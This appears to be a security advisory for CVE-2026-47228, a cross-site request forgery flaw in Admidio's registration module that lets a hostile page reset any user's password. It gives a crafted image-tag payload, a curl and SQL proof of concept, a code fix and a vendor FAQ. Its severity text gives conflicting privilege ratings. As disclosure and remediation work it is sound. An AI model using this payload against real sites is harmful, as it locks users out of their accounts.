CVE-2026-47228

modules/registration.php mode send_login regenerates a random password for user_uuid_assigned, stores its bcrypt hash in adm_users.usr_password, and emails the cleartext to that user. Every other state-changing mode in the same file (assign_member, assign_user, delete_user, create_user) calls SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']) first; the send_login branch does not. A page visited by a registration-administrator can issue the request as a top-level navigation, the browser sends the admin's SameSite=Lax cookies, and the server resets the chosen user's password without any further interaction from the admin.

Details

Vulnerable Code

modules/registration.php:124-138:

} elseif ($getMode === 'send_login') {
    // User already exists and has a login than sent access data with a new password
    $user = new User($gDb, $gProfileFields);
    $user->readDataByUuid($getUserUUIDAssigned);
    $user->sendNewPassword();

    // delete the registration because it isn't necessary anymore
    $registrationUser->notSendEmail();
    $registrationUser->delete();
    admRedirect(ADMIDIO_URL.FOLDER_MODULES.'/registration.php');
    // => EXIT
}

The four sibling branches all begin with SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);, for example delete_user at lines 110-118:

} elseif ($getMode === 'delete_user') {
    // check the CSRF token of the form against the session token
    SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);

    // delete registration
    $registrationUser->delete();
    echo json_encode(array('status' => 'success'));
    exit();
}

User::sendNewPassword() (src/User/Entity/User.php) calls setPassword(PasswordUtils::generatePassword()) and persists the new hash before the email is queued; the password change happens unconditionally regardless of whether the e-mail send succeeds. This means even when the operator's SMTP is unconfigured, the victim's password is still reset.

The handler accepts GET (no enforcement of HTTP method, no $_POST requirement), so an <img src=...> or auto-submitting form is sufficient.

Exploitation Flow

1. Attacker prepares a "pending registration" row anywhere they can, either by registering a self-controlled user account (the public registration flow creates these), or by waiting for an existing pending registration to be reachable.
2. Attacker hosts a page that issues:
   <img src="https://victim.example/admidio/modules/registration.php?mode=send_login&user_uuid={pending_registration_uuid}&user_uuid_assigned={victim_user_uuid}">
3. A registration-administrator (someone with isAdministratorRegistration(), usually the org admin) visits the page while logged in to Admidio. The browser sends their session cookie (Admidio's session cookie does not set SameSite=Strict).
4. Admidio's handler runs as that admin. It loads the assigned user, calls User::sendNewPassword() which writes a fresh bcrypt hash to adm_users.usr_password, and queues the cleartext password to be e-mailed to the user.
5. The victim user's old password no longer works.

The cleartext lands in the victim's mailbox, not the attacker's, so the attacker does not get the password directly. The primary impact is therefore forced password reset (account lock-out / DoS for the victim) plus an information-disclosure side effect: the victim now has a password they did not request, and may be socially-engineered into believing the e-mail.

PoC

Tested locally against HEAD c5cde53. The reproducer confirms the password column changes server-side without any user interaction beyond an admin's GET to the crafted URL.

# 0. observe current admin password hash (the testadmin from install)
mariadb -h 127.0.0.1 -P 3399 -u admidio -p... admidio \
    -e "SELECT usr_id, usr_login_name, LEFT(usr_password, 12) AS pwd FROM adm_users WHERE usr_id IN (2, 7);"
usr_id  usr_login_name  pwd
2       testadmin       $2y$12$AB.h
7       victim          $2y$12$L9q3

# 1. attacker creates a pending registration with user_uuid pointing at "victim"
mariadb ... admidio -e "INSERT INTO adm_registrations (reg_org_id, reg_usr_id, reg_timestamp)
                       VALUES (1, 7, NOW());"
# (the pending row gives the request a valid user_uuid for $registrationUser->delete())

# 2. crafted CSRF endpoint, hit from a third-party page in the admin's browser:
#    no adm_csrf_token, GET only
curl -b $admin_cookie \
   "http://127.0.0.1:8085/modules/registration.php?mode=send_login&user_uuid=$pending_uuid&user_uuid_assigned=<victim_uuid>"

# 3. observe the victim's password hash has changed
mariadb ... admidio \
    -e "SELECT usr_id, usr_login_name, LEFT(usr_password, 12) AS pwd FROM adm_users WHERE usr_id=7;"
usr_id  usr_login_name  pwd
7       victim          $2y$12$w5lQ

The hash before the attack was $2y$12$L9q3...; after the attack it is $2y$12$w5lQ.... The victim's previously-known password no longer authenticates them.

The same call against user_uuid_assigned=<admin's uuid> resets the admin's own password, locking out the registration-administrator from their own account.

A registration-administrator who visits a hostile page is silently coerced into resetting any user's password.

• Account lockout / DoS. The victim user (which can be the admin themselves, or any other user with a registration row routed through this admin) loses access; their stored password is replaced with a server-generated one that only lands in the victim's mailbox.
• Phish-flavoured social engineering. The unsolicited "your new Admidio password is …" e-mail is a credible-looking message that the attacker can pair with a phishing site to harvest the new password.
• Self-targetable. Because the attacker also controls the public self-registration flow, they can reliably create a pending_registration row whose user_uuid_assigned points at any chosen victim.

UI:R reflects that an admin must visit a page; PR:N because the attacker needs no Admidio credentials; I:H because user authentication state is destroyed; A:L because the affected user is locked out of an account but the platform stays up.

A victim's authenticated browser session is used to submit forged requests to an application that cannot distinguish them from legitimate ones. Typical impact: state-changing actions performed as the victim without their consent.

CVE-2026-47228 has a CVSS score of 5.2 (Medium). The vector is network-reachable, high privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (5.0.10); upgrading removes the vulnerable code path.

Kodem intelligence

Add a CSRF check at the top of the branch and require POST:

} elseif ($getMode === 'send_login') {
    // check the CSRF token of the form against the session token
    SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);

    if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
        throw new Exception('SYS_INVALID_PAGE_VIEW');
    }

    $user = new User($gDb, $gProfileFields);
    $user->readDataByUuid($getUserUUIDAssigned);
    $user->sendNewPassword();
    ...
}

A regression test should issue GET /modules/registration.php?mode=send_login&... from a session that has no current page (no in-session form key) and assert that usr_password is unchanged.

1. What is CVE-2026-47228? CVE-2026-47228 is a medium-severity cross-site request forgery (CSRF) vulnerability in admidio/admidio (composer), affecting versions <= 5.0.9. It is fixed in 5.0.10. A victim's authenticated browser session is used to submit forged requests to an application that cannot distinguish them from legitimate ones.
2. How severe is CVE-2026-47228? CVE-2026-47228 has a CVSS score of 5.2 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of admidio/admidio are affected by CVE-2026-47228? admidio/admidio (composer) versions <= 5.0.9 is affected.
4. Is there a fix for CVE-2026-47228? Yes. CVE-2026-47228 is fixed in 5.0.10. Upgrade to this version or later.
5. Is CVE-2026-47228 exploitable, and should I be worried? Whether CVE-2026-47228 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-47228 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-47228? Upgrade admidio/admidio to 5.0.10 or later.